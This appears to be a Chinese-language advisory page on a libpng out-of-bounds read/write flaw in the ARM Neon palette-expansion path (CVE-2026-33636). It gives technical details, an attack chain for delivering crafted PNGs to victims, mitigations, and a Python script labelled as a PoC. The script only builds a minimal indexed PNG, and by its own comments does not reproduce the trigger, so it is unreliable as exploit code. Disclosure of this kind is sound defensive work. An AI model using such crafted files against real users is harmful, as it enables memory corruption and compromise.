IPBUF安全漏洞报告
English
CVE-2026-33636 CVSS 7.6 高危

CVE-2026-33636 libpng越界读写漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33636
漏洞类型
内存越界读写
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libpng

相关标签

内存破坏libpng越界读写CVE-2026-33636ARMNeon

漏洞概述

libpng是一个广泛使用的PNG图像处理库。在1.6.36至1.6.55版本中,其ARM/AArch64架构下的Neon优化调色板扩展路径存在严重的越界读写漏洞。攻击者可以通过构造特制的PNG图片,在解码过程中触发该漏洞,导致内存读取越界和写入越界。该漏洞无需认证,但需要用户交互,可能影响应用程序的机密性、完整性和可用性。

技术细节

该漏洞源于libpng在ARM/AArch64平台上使用Neon指令集优化调色板扩展时的逻辑错误。受影响版本在将8位索引颜色转换为RGB或RGBA真彩色时,循环处理机制未对末尾数据块进行充分的边界检查。由于算法采用逆向遍历(从行尾向行首处理),当处理行末剩余的不足一个完整处理单元的像素块时,指针会回退到行缓冲区起始地址之前的内存区域。这导致程序读取非法内存地址(越界读)并将扩展后的像素数据写入该非法地址(越界写)。攻击者可通过精心构造PNG文件的宽度和数据布局,精确控制越界访问的偏移量,从而造成信息泄露或崩溃,甚至可能实现任意代码执行。由于该漏洞位于关键的图像解码路径,且Neon优化在移动和ARM服务器环境中非常常见,因此影响范围较广。

攻击链分析

STEP 1
步骤1:制作恶意文件
攻击者利用该漏洞原理,编写脚本生成一个特制的PNG图片文件。该图片包含特定的宽度和数据布局,旨在触发libpng在Neon路径下的处理逻辑缺陷。
STEP 2
步骤2:传递诱导文件
攻击者通过电子邮件、网页或即时通讯工具将生成的恶意PNG文件发送给目标用户,或者上传到目标应用会处理的网站上。
STEP 3
步骤3:触发解码
目标用户在受影响设备(ARM/AArch64架构)上打开或应用处理该图片。libpng库尝试解码图片,并调用Neon优化的调色板扩展函数。
STEP 4
步骤4:执行越界读写
在解码行末数据时,由于缺乏边界检查,程序指针回退到缓冲区起始地址之前,读取并写入非法内存区域,导致应用崩溃或潜在代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct def create_malicious_png(): # PNG Signature png_sig = b'\x89PNG\r\n\x1a\n' # IHDR Chunk: Width=1, Height=1, Bit depth=8, Color type=3 (Indexed color) # This setup targets the palette expansion path ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 3, 0, 0, 0) ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', 0x594C3D5D) # PLTE Chunk: Minimal palette (Red) plte_data = b'\xFF\x00\x00' plte_chunk = struct.pack('>I', 3) + b'PLTE' + plte_data + struct.pack('>I', 0x9BF620E9) # IDAT Chunk: Scanline data # Filter byte (0) + Index (0) idat_data = b'\x00\x00' # Compressing the data (simplified for PoC structure, real zlib compression needed for valid PNG) # In a real exploit, specific byte alignment is calculated to trigger the OOB in the Neon loop. import zlib compressed_idat = zlib.compress(idat_data) idat_chunk = struct.pack('>I', len(compressed_idat)) + b'IDAT' + compressed_idat + struct.pack('>I', 0x7A0D3A9B) # IEND Chunk iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) return png_sig + ihdr_chunk + plte_chunk + idat_chunk + iend_chunk with open('crash.png', 'wb') as f: f.write(create_malicious_png()) print('Malicious PNG generated.')

影响范围

libpng 1.6.36 - 1.6.55

防御指南

临时缓解措施
如果无法立即升级,建议在编译libpng时禁用ARM Neon优化支持,或者通过应用层的过滤器拦截来源不可信的PNG图像文件,防止用户加载恶意图片。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表